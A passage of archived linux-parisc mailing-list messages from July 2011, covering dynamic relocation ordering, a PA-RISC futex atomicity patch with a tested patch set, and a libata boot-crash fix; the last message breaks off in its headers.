	with ESMTP id S1757338Ab1GKNdN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jul 2011 09:33:13 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.103])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1QgGbo-0004AI-16; Mon, 11 Jul 2011 09:33:12 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <CADZpyiwLzQmQRHM0VOgfc7hxT3ZdXBuchb64O3v2poYMTC93oA@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.103]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3877
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3877>

On 7/10/2011 9:27 PM, Carlos O'Donell wrote:
> On Sat, Jul 9, 2011 at 11:08 AM, John David Anglin<dave.anglin@bell.net>  wrote:
>> As far as I can tell, most targets don't sort dynamic relocations.  The
>> exceptions that I see are mips and score.  Doing this will increase link time, so I
>> tend to think it should be avoided if possible.  Isn't the dynamic loader a special case?
> Ulrich Drepper says that relative relocations must *always* be first,
> it doesn't require a complete sort.
>
I'm not knowledgeable about x86 but I don't believe it has a relocation 
equivalent to the
PLABEL32 reloc.  Everything in .rel.dyn may be relative.  However, 
R_386_RELATIVE
seems to occur before R_386_GLOB_DATA.  I'm not sure how this is done.

If we need to sort, combreloc may need to be disabled because it might 
do an incompatible
sort.

> The dynamic loader is a special case, but there are some requirements.
>
>> Have you tried the ld "-z combreloc" option to see if that works?  It
>> combines reloc sections and sorts them.
> I haven't tried that yet, are you saying we should change binutils to
> *default* to "-z combreloc?"
No.  I was just thinking of trying to link the dynamic loader with this 
option.  Didn't notice
any other targets making it the default.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sort output dynamic relocations.
Date: Mon, 11 Jul 2011 09:55:26 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <4E1B00CE.9030707@systemhalted.org>
References: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com>	<4E15F06E.8040601@bell.net>	<CADZpyixAMSZaNY_cU09MEz+bbH4yUvyGxcmZxbiAqJU4hK-7WQ@mail.gmail.com>	<6957FCF8-0667-4DEF-8134-EACB33D47A13@bell.net> <CADZpyiwLzQmQRHM0VOgfc7hxT3ZdXBuchb64O3v2poYMTC93oA@mail.gmail.com> <4E1AFB99.5090402@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310392548 6451 80.91.229.12 (11 Jul 2011 13:55:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 11 Jul 2011 13:55:48 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 11 15:55:43 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QgGxb-0006cI-Cf
	for glpp-linux-parisc@lo.gmane.org; Mon, 11 Jul 2011 15:55:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757625Ab1GKNze (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jul 2011 09:55:34 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:35472 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757622Ab1GKNz3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jul 2011 09:55:29 -0400
Original-Received: by iyb12 with SMTP id 12so3684853iyb.19
        for <linux-parisc@vger.kernel.org>; Mon, 11 Jul 2011 06:55:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=sgI3kv7bsiMGe0zg0jyxciwSHJbP7cbvy1i84zsm/eY=;
        b=TcmEtTbslz8bQ4q57M1upFX484u9eXH0lc6oYCs5YGOl8xfZrAI/3TsShvIy8eNovK
         /sggSEgM0uZZZ9RtnX0KqpWAmFmX92nQ3AHmyx+wet5cpr/YqViWV8VDaiwfN5Jq6Bea
         cRWbqaovW9cb/HqSZCk0aM4ZgYvWmmIfCFAHU=
Original-Received: by 10.231.13.205 with SMTP id d13mr3354813iba.88.1310392528991;
        Mon, 11 Jul 2011 06:55:28 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177760865.dsl.bell.ca [70.51.52.97])
        by mx.google.com with ESMTPS id f19sm7762733ibl.66.2011.07.11.06.55.27
        (version=SSLv3 cipher=OTHER);
        Mon, 11 Jul 2011 06:55:27 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20110624 Thunderbird/5.0
In-Reply-To: <4E1AFB99.5090402@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3878
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3878>

On 7/11/2011 9:33 AM, John David Anglin wrote:
> On 7/10/2011 9:27 PM, Carlos O'Donell wrote:
>> On Sat, Jul 9, 2011 at 11:08 AM, John David
>> Anglin<dave.anglin@bell.net>  wrote:
>>> As far as I can tell, most targets don't sort dynamic
>>> relocations.  The exceptions that I see are mips and score.
>>> Doing this will increase link time, so I tend to think it should
>>> be avoided if possible.  Isn't the dynamic loader a special
>>> case?
>> Ulrich Drepper says that relative relocations must *always* be
>> first, it doesn't require a complete sort.
>> 
> I'm not knowledgeable about x86 but I don't believe it has a
> relocation equivalent to the PLABEL32 reloc.  Everything in .rel.dyn
> may be relative.  However, R_386_RELATIVE seems to occur before
> R_386_GLOB_DATA.  I'm not sure how this is done.

It might just be a happy accident of the input order.
 
> If we need to sort, combreloc may need to be disabled because it
> might do an incompatible sort.

OK.
 
>> The dynamic loader is a special case, but there are some
>> requirements.
>> 
>>> Have you tried the ld "-z combreloc" option to see if that works?
>>> It combines reloc sections and sorts them.
>> I haven't tried that yet, are you saying we should change binutils
>> to *default* to "-z combreloc?"
> No.  I was just thinking of trying to link the dynamic loader with
> this option.  Didn't notice any other targets making it the default.

Right! That's a good idea, I'll give this a try.

Yes, the dynamic linker is the only thing that has this requirement.

Cheers,
Carlos.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Mon, 11 Jul 2011 18:46:29 -0400
Lines: 400
Approved: news@gmane.org
Message-ID: <13AFD499-CFA5-407A-B15D-F6A8AA38FA26@bell.net>
References: <4E177624.1030500@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary=Apple-Mail-1--742775489
X-Trace: dough.gmane.org 1310424413 13827 80.91.229.12 (11 Jul 2011 22:46:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 11 Jul 2011 22:46:53 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 12 00:46:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QgPFX-00051Q-LA
	for glpp-linux-parisc@lo.gmane.org; Tue, 12 Jul 2011 00:46:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758147Ab1GKWqr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jul 2011 18:46:47 -0400
Original-Received: from toip5.srvr.bell.ca ([209.226.175.88]:57317 "EHLO
	toip5.srvr.bell.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758136Ab1GKWqq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jul 2011 18:46:46 -0400
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: ApIBAFd4G06uXFXx/2dsb2JhbAAMR7EXwGGFW18EklaQYw
Original-Received: from bas1-ottawa09-2925286897.dsl.bell.ca (HELO [192.168.2.10]) ([174.92.85.241])
  by toip5.srvr.bell.ca with ESMTP; 11 Jul 2011 18:46:45 -0400
In-Reply-To: <4E177624.1030500@systemhalted.org>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3879>


--Apple-Mail-1--742775489
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed;
	delsp=yes
Content-Transfer-Encoding: 7bit

Tested on rp3440 with 3.0.0-rc6+.  Two full builds and checks of GCC  
have been done with
make -j6.  No anomalous behaviour was observed (i.e., this change may  
fix the gnat1 bug
that I previously reported).  Attached is full patch set used in  
testing.

Tested-by: John David Anglin <dave.anglin@bell.net>

On 8-Jul-11, at 5:27 PM, Carlos O'Donell wrote:

> Implements futex op support and makes futex cmpxchg atomic.
> Tested on 64-bit SMP kernel running on 2 x PA8700s.
>
> Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>
> ---
> futex.h |   64 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 
> +++++-----
> 1 file changed, 59 insertions(+), 5 deletions(-)
>
> diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/ 
> asm/futex.h
> index 67a33cc..94f2f4d 100644
> --- a/arch/parisc/include/asm/futex.h
> +++ b/arch/parisc/include/asm/futex.h
> @@ -5,11 +5,14 @@
>
> #include <linux/futex.h>
> #include <linux/uaccess.h>
> +#include <asm/atomic.h>
> #include <asm/errno.h>
>
> static inline int
> futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
> {
> +	unsigned long int flags;
> +	u32 val;
> 	int op = (encoded_op >> 28) & 7;
> 	int cmp = (encoded_op >> 24) & 15;
> 	int oparg = (encoded_op << 8) >> 20;
> @@ -23,16 +26,53 @@ futex_atomic_op_inuser (int encoded_op, u32  
> __user *uaddr)
>
> 	pagefault_disable();
>
> +	_atomic_spin_lock_irqsave (uaddr, flags);
> +
> 	switch (op) {
> 	case FUTEX_OP_SET:
> +		/* *(int *)UADDR2 = OPARG; */
> +		ret = get_user (oldval, uaddr);
> +		if (!ret)
> +			ret = put_user (oparg, uaddr);
> +		break;
> 	case FUTEX_OP_ADD:
> +		/* *(int *)UADDR2 += OPARG; */
> +		ret = get_user (oldval, uaddr);
> +		if (!ret) {
> +			val = oldval + oparg;
> +			ret = put_user (val, uaddr);
> +		}
> +		break;
> 	case FUTEX_OP_OR:
> +		/* *(int *)UADDR2 |= OPARG; */
> +		ret = get_user (oldval, uaddr);
> +		if (!ret) {
> +			val = oldval | oparg;
> +			ret = put_user (val, uaddr);
> +		}
> +		break;
> 	case FUTEX_OP_ANDN:
> +		/* *(int *)UADDR2 &= ~OPARG; */
> +		ret = get_user (oldval, uaddr);
> +		if (!ret) {
> +			val = oldval & ~oparg;
> +			ret = put_user (val, uaddr);
> +		}
> +		break;
> 	case FUTEX_OP_XOR:
> +		/* *(int *)UADDR2 ^= OPARG; */
> +		ret = get_user (oldval, uaddr);
> +		if (!ret) {
> +			val = oldval ^ oparg;
> +			ret = put_user (val, uaddr);
> +		}
> +		break;
> 	default:
> 		ret = -ENOSYS;
> 	}
>
> +	_atomic_spin_unlock_irqrestore (uaddr, flags);
> +
> 	pagefault_enable();
>
> 	if (!ret) {
> @@ -54,7 +94,9 @@ static inline int
> futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
> 			      u32 oldval, u32 newval)
> {
> +	int ret;
> 	u32 val;
> +	unsigned long flags;
>
> 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
> 	 * our gateway page, and causes no end of trouble...
> @@ -65,12 +107,24 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32  
> __user *uaddr,
> 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
> 		return -EFAULT;
>
> -	if (get_user(val, uaddr))
> -		return -EFAULT;
> -	if (val == oldval && put_user(newval, uaddr))
> -		return -EFAULT;
> +	/* HPPA has no cmpxchg in hardware and therefore the
> +	 * best we can do here is use an array of locks. The
> +	 * lock selected is based on a hash of the userspace
> +	 * address. This should scale to a couple of CPUs.
> +	 */
> +
> +	_atomic_spin_lock_irqsave (uaddr, flags);
> +
> +	ret = get_user(val, uaddr);
> +
> +	if (!ret && val == oldval)
> +		ret = put_user (newval, uaddr);
> +
> 	*uval = val;
> -	return 0;
> +
> +	_atomic_spin_unlock_irqrestore (uaddr, flags);
> +
> +	return ret;
> }
>
> #endif /*__KERNEL__*/
> --
> To unsubscribe from this list: send the line "unsubscribe linux- 
> parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
Dave
--Apple-Mail-1--742775489
Content-Disposition: attachment;
	filename=linux-3.0-20110711.d
Content-Type: application/octet-stream;
	x-unix-mode=0644;
	name="linux-3.0-20110711.d"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index f819559..26fd114 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -259,10 +259,10 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 
 #define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
 
-static __inline__ int
+static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)
 {
-	int ret;
+	s64 ret;
 	unsigned long flags;
 	_atomic_spin_lock_irqsave(v, flags);
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 67a33cc..94f2f4d 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -5,11 +5,14 @@
 
 #include <linux/futex.h>
 #include <linux/uaccess.h>
+#include <asm/atomic.h>
 #include <asm/errno.h>
 
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
+	unsigned long int flags;
+	u32 val;
 	int op = (encoded_op >> 28) & 7;
 	int cmp = (encoded_op >> 24) & 15;
 	int oparg = (encoded_op << 8) >> 20;
@@ -23,16 +26,53 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_disable();
 
+	_atomic_spin_lock_irqsave (uaddr, flags);
+
 	switch (op) {
 	case FUTEX_OP_SET:
+		/* *(int *)UADDR2 = OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret)
+			ret = put_user (oparg, uaddr);
+		break;
 	case FUTEX_OP_ADD:
+		/* *(int *)UADDR2 += OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval + oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	case FUTEX_OP_OR:
+		/* *(int *)UADDR2 |= OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval | oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	case FUTEX_OP_ANDN:
+		/* *(int *)UADDR2 &= ~OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval & ~oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	case FUTEX_OP_XOR:
+		/* *(int *)UADDR2 ^= OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval ^ oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	default:
 		ret = -ENOSYS;
 	}
 
+	_atomic_spin_unlock_irqrestore (uaddr, flags);
+
 	pagefault_enable();
 
 	if (!ret) {
@@ -54,7 +94,9 @@ static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 			      u32 oldval, u32 newval)
 {
+	int ret;
 	u32 val;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,12 +107,24 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
 		return -EFAULT;
 
-	if (get_user(val, uaddr))
-		return -EFAULT;
-	if (val == oldval && put_user(newval, uaddr))
-		return -EFAULT;
+	/* HPPA has no cmpxchg in hardware and therefore the 
+	 * best we can do here is use an array of locks. The
+	 * lock selected is based on a hash of the userspace
+	 * address. This should scale to a couple of CPUs.
+	 */
+
+	_atomic_spin_lock_irqsave (uaddr, flags);
+
+	ret = get_user(val, uaddr);
+
+	if (!ret && val == oldval)
+		ret = put_user (newval, uaddr);
+
 	*uval = val;
-	return 0;
+
+	_atomic_spin_unlock_irqrestore (uaddr, flags);
+
+	return ret;
 }
 
 #endif /*__KERNEL__*/
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..1449259 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -75,14 +75,16 @@ EXPORT_SYMBOL(flush_cache_all_local);
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+        unsigned long pfn = pte_pfn(*ptep);
+        struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+        if (!pfn_valid(pfn))
+                return;
 
-		flush_kernel_dcache_page(page);
-		clear_bit(PG_dcache_dirty, &page->flags);
-	} else if (parisc_requires_coherency())
+        page = pfn_to_page(pfn);
+
+        if (test_and_clear_bit(PG_dcache_dirty, &page->flags)
+	    || parisc_requires_coherency())
 		flush_kernel_dcache_page(page);
 }
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..0299d63 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index d5a3009..0e6d33d 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -531,6 +531,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -538,7 +539,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--Apple-Mail-1--742775489
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed
Content-Transfer-Encoding: 7bit


--
John David Anglin	dave.anglin@bell.net




--Apple-Mail-1--742775489--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sshtylyov@mvista.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Fri, 15 Jul 2011 19:45:56 +0400
Lines: 36
Approved: news@gmane.org
Message-ID: <4E2060B4.3090300@ru.mvista.com>
References: <1303673315.5231.9.camel@mulgrave.site> <1305306118.2611.62.camel@mulgrave.site> <4DCED18B.1070801@garzik.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310744883 11443 80.91.229.12 (15 Jul 2011 15:48:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Jul 2011 15:48:03 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Sergei Shtylyov <sshtylyov@mvista.com>
To: Jeff Garzik <jeff@garzik.org>
Original-X-From: linux-ide-owner@vger.kernel.org Fri Jul 15 17:47:55 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QhkcL-00067o-10
	for lnx-linux-ide@lo.gmane.org; Fri, 15 Jul 2011 17:47:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751068Ab1GOPrv (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Fri, 15 Jul 2011 11:47:51 -0400
Original-Received: from mail-ww0-f44.google.com ([74.125.82.44]:39862 "EHLO
	mail-ww0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750806Ab1GOPrv (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Fri, 15 Jul 2011 11:47:51 -0400
Original-Received: by wwe5 with SMTP id 5so1422107wwe.1
        for <multiple recipients>; Fri, 15 Jul 2011 08:47:49 -0700 (PDT)
Original-Received: by 10.227.208.140 with SMTP id gc12mr915209wbb.32.1310744869620;
        Fri, 15 Jul 2011 08:47:49 -0700 (PDT)
Original-Received: from [192.168.11.174] (mail.dev.rtsoft.ru [213.79.90.226])
        by mx.google.com with ESMTPS id em16sm1158449wbb.67.2011.07.15.08.47.45
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 15 Jul 2011 08:47:46 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <4DCED18B.1070801@garzik.org>
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49884 gmane.linux.ports.parisc:3880
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49884>

Hello.

Jeff Garzik wrote:

>> On Sun, 2011-04-24 at 14:28 -0500, James Bottomley wrote:
>>> currently libata-sff is completely ignoring the enabled/disabled status
>>> of the interfaces.  This is a real problem on parisc because if you
>>> touch a non responding memory area (i.e. a disabled interface) you crash
>>> the box.

>>> Fix by checking the CNTRL bits to see if the port is enabled before
>>> trying to poke it.

>> Ping on this.

>> Since 1/2 is an essential fix to prevent a boot panic on parisc, I can
>> just take them through the parisc tree.

> It's in libata-dev.git#upstream and #NEXT (linux-next) at present.

    I'm wondering about the other drivers that check the channel enable bits in 
their prereset() methods. James has shown that such code would still crash on 
such platforms as PARISC (I suspect many more platfroms which don't silently 
ignore the target aborts in the PCI space like x86 does). I think all such 
drivers should be converted to the early port disable detection scheme used in 
the pata_cmd64x driver (an some others)...

>     Jeff

WBR, Sergei

--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurel32@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Mon, 18 Jul 2011 00:03:02 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <20110717220302.GA30333@hall.aurel32.net>
References: <20110527213516.GH21744@dannf.org>
 <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
 <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
 <20110601021049.GB3984@hiauly1.hia.nrc.ca>
 <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
 <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
 <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
 <CADZpyiy8O_tsm=41fNCbC_nPq77RdsEfD=UahR_yxtdm7P7u0A@mail.gmail.com>
 <20110707215907.GA1837@hall.aurel32.net>
 <CADZpyiwaKjhqWJ0kGh4kV1BZSa02=OGVPYeHxQA9iD8LVnkEqQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310940202 17546 80.91.229.12 (17 Jul 2011 22:03:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Jul 2011 22:03:22 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 18 00:03:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QiZQe-0004yH-0w
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Jul 2011 00:03:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753479Ab1GQWDL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Jul 2011 18:03:11 -0400
